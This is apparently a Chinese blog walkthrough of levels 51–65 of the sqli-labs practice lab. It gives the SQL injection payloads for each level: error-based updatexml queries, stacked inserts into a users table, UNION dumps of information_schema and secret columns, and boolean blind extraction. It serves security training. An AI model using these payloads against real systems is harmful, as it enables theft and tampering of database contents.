sqli-libs通关教程(51-65)

发布于:2025-08-15 ⋅ 阅读:(17) ⋅ 点赞:(0)

第五十一关

同上关,单引号闭合,可以报错注入,可以延时注入,可以堆叠注入。

?sort=1' and updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),1)--+

?sort=-1';insert into users(id,username,password) values ('51','abcd','0000')--+

第五十二关

没有报错显示,只能堆叠注入或者延时注入。

?sort=-1;insert into users(id,username,password) values ('52',(select database()),'111111')

执行后,输入=1

第五十三关

同上关,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入

?sort=-1';insert into users(id,username,password) values ('53',(select database()),'222222') --+

第五十四关

只有十次输入机会,超过十次所有表名,列名,等等都会随机重置

?id=1' and 1=1 --+

?id=1' order by 3 --+

当前数据库和用户名
?id=0' union select 1,user(),database() --+

当前数据库下的所有表
?id=0' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

这里的表每一次都是随机给出的

字段
?id=0' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='t9ohflf2rg' --+

#字段也是随机/secret_S7T1/

#爆数据       需要获取secret_ZHKC

?id=0' union select 1,database(),group_concat(0x7e,sessid,0x7e,secret_ZHKC) from t9ohflf2rg --+

第五十五关

同上关,闭合为)

判断字段数
?id=1) order by 3 --+

数据库
?id=0) union select 1,2,database() --+


?id=0) union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

表每一次都是随机给出的ozuel2vkje

字段
?id=0) union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='ozuel2vkje' --+

字段也是随机

#爆数据,取secret_AEGF段为过关数据
?id=0) union select 1,database(),group_concat(0x7e,sessid,0x7e,secret_AEGF) from ozuel2vkje --+

第五十六关

同上,闭合变为')

联合查询注入

字符型注入
?id=1') and 1=1 --+
?id=1') order by 3 --+

数据库
?id=0') union select 1,2,database() --+

爆表
?id=0') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

字段
?id=0') union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='表字段' --+

数据
?id=0') union select 1,database(),group_concat(0x7e,sessid,0x7e,数据名) from 表字段 --+

第五十七关

字符型注入:
?id=1" and 1=1 --+

字段数
?id=1" order by 3 --+

数据库
?id=0" union select 1,2,database() --+


?id=0" union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

字段
?id=0" union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='表' --+

数据
?id=0" union select 1,database(),group_concat(0x7e,sessid,0x7e,字段) from 表 --+

第五十八关

5次机会,库名不变,依旧是challenges

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges') ),1)--+

#获取字段:
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from Information_schema.columns where table_name='v15xb374dm' )),1)--+

 #获取字段的值:
 ?id=1' and updatexml(1,concat(1,(select group_concat(secret_EM8E) from challenges.v15xb374dm )),1)--+

第五十九关

数字型,同上关

表名:

?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges') ),1)--+

字段:
?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from Information_schema.columns where table_name='表名' )),1)--+

字段的值:
 ?id=1 and updatexml(1,concat(1,(select group_concat(字段) from challenges.表名 )),1)--+
 

第六十关

同上关,闭合为 ?id=1") 

第六十一关

同上关,闭合为 ?id=1'))

第六十二关

盲注

数据库长
?id=1') and length(database())>9    正确 
?id=1') and length(database())>10   错误 
?id=1') and length(database())=10   正确 

ascii码,尝试每一位字符

?id=1') and ascii(mid(database(),1,1))=99 #

第一个表的长度

?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 #

第一个表的字符

?id=1') and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=78 #

得到表名

第一个字段名的长度:

?id=1') and length((select column_name from information_schema.columns where table_name='表名' limit 0,1))=2 #


第一个字段名的每一个字符:

?id=1') and ascii(mid((select column_name from information_schema.columns where table_name='N18FOKJDNC' limit 0,1),1,1))=105 #

得出id

然后依次爆得第二、三、四个字段名分别为: sessid,secret_BDFP, tryy

secret_BDFP字段值的长度:

?id=1') and (select length(secret_BDFP) from N18FOKJDNC)=24 #

每一个值:

?id=1') and ascii(mid((select secret_BDFP from N18FOKJDNC),1,1))=113 #

得出值

第六十三关

同六十二,闭合变为 '       ?id=1'

第六十四关

同六十二,数字型       ?id=1

第六十五关

同六十二,闭合变为 "       ?id=1"


网站公告

今日签到

点亮在社区的每一天
去签到